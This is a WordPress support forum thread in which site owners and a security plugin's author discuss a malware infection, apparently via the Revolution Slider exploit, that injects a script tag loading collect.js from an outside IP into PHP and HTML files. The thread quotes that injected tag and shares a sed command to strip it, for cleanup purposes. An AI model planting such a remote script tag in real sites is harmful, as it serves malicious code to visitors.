MW:SPAM:SEO spam problem

  • Resolved th3rion

    (@th3rion)


    9 years, 11 months ago

    Hi

    I recently had a problem with backdoor trojans and malware. On my server 9 sites where infected. With this plugin I managed to get rid of infection on all of them but I can’t clean one.

    This plugin says site is clean but Sucuri detects MW:SPAM:SEO

    I manually updated all of wp core files so everything should have same date but some of files have newer date. I compered oryginal core files and this modified files and all of theme have somewhere script with such link:

    I don’t know where to look for cause of infection – I think updating files wont help.

    https://www.ads-software.com/plugins/gotmls/

Viewing 15 replies - 1 through 15 (of 58 total)
  • Plugin Author Eli

    (@scheeeli)

    Check the exact timestamp on the modified files and then compare this time with the entries in your raw access_log to see what scripts were executed at that exact time.

    If you find any malicious code that my plugin does not detect then you can email these infected files to me and I will add then to my Definition update.

    My direct email is: eli AT gotmls DOT net

    Aloha, Eli

    We were infected with this script, too. From first investigation it seems is using same penetration way as soaksoak.ru since we found a file in /revslider/temp/update_extract/ that looks to be the one used to hack the sites. Seems that goes through wordpress files and replaces the header closing tag </head> string with a script string that calls the above string. Because we found infected files even in themes that are not active I think it scanning all existing folders it gets access. The call to collect.js returned 404 in our case which made the affected pages to load slow. When we investigated the slowness we saw the call to the script.

    I just encountered this same problem on shared Hostgator plan. I am looking for ways to combat this issue. Please share if you find an effective method. I located the call when running a pingdom check on speed and noticed the slow script.

    Thanks for sharing, guys. I just found a call in a client site to https://122.155.168.105/ads/inpage/pub/collect.js

    The site also has revslider, but AFAIK wasn’t hit by soaksoak.

    The link to collect.js didn’t return a 404, but it does load slowly, hence noticeable. Can anyone confirm that it’s indeed malicious? 122.155.168.105 is in Thai (I think that’s what I’m looking at).

    Plugin Author Eli

    (@scheeeli)

    If you can send me this file I can determine if it is malicious code, then I will add it to my Definition Update and my plugin can detect and remove these infections for you.

    My direct email is: eli AT gotmls DOT net

    Aloha, Eli

    I was also infected… file sent via email…

    Thanks for your help

    We were also infected and I have for now removed the injected code from all files like this:

    find ./ -name "*.html" -or -name "*.php" -exec sed -i 's#<script type=\"text\/javascript\" src=\"http:\/\/122.155.168.105\/ads\/inpage\/pub\/collect.js\"><\/script>##g' '{}' \;

    I also have removed the update.php file from revslider:
    wp-content/plugins/revslider/temp/update_extract/revslider/update.php

    Plugin Author Eli

    (@scheeeli)

    Thanks to everyone who sent me that JavaScript file. I have added it to my Definition update. Even more importantly, I have added the script that calls this malicious code (just posted by andrijaf, thanks!), so if you now update my plugin by downloading the latest Definition Update then run another Complete Scan, then you can remove this script wherever it is found on your site.

    Please let me know if you find anything else that my pllugin is still not catching. Mahalo nui!

    Aloha, Eli

    we found out that script attach is our website 2 days ago, which make website load very slow, we use dreamwaver batch find and replace to search whole web root and found out it can almost infect all php and html file with “</head>” inside, that very dangerous and user should think again to disable the Revolution Slider until they provide a fix solution.

    information about the vulnerabilities:

    https://gizmodo.com/mysterious-russian-malware-is-infecting-over-100-000-wo-1671419522

    i got hit by same malicious malware… word-fence detected it and using word-fence i am restored some files but seems it has infected my whole site….

    122.155.168.105/ads/inpage/pub/collect.js

    but i am not understanding what back-door hackers used to inject this malware…

    file are changing with malware right now… some infected 7 hours before and some 10 minutes and 5 minutes before as i write this message…

    hi,
    same problem. I dont use the rev slider but have it all over the server.

    Just installed your plugin and … scanning 2 hours to go.

    I am not sure what to do when scan finishes.

    You’ll find that code in not only .php and .js files, but also any .html files located anywhere in your folders.

    In .js files we typically find it in the swfobject.js but you may find it in other files as well: collect.js and others.

    If it’s in the collect.js, then your site could be used in the next round of malicious updates: (your ip address)/(path to collect.js)/collect.js

    Just a thought…

    It does appear to be related to the revslider plugin exploit.

    the quick fix?

    1. If the current theme is (folder renamed)
    2. New theme uploaded instead … will it work?

    but, then, can this plugin protect next attacs?

    hi again,

    Is there a way how to cut this line of code from the whole server and from each php file?

    here is the line:
    <script language=”JavaScript” src=”https://122.155.168.105/ads/inpage/pub/collect.js&#8221; type=”text/javascript”></script>

    I am sure there is a way. it will be helpful if anyone can save us a time and help us.

    thank you

Viewing 15 replies - 1 through 15 (of 58 total)
  • The topic ‘MW:SPAM:SEO spam problem’ is closed to new replies.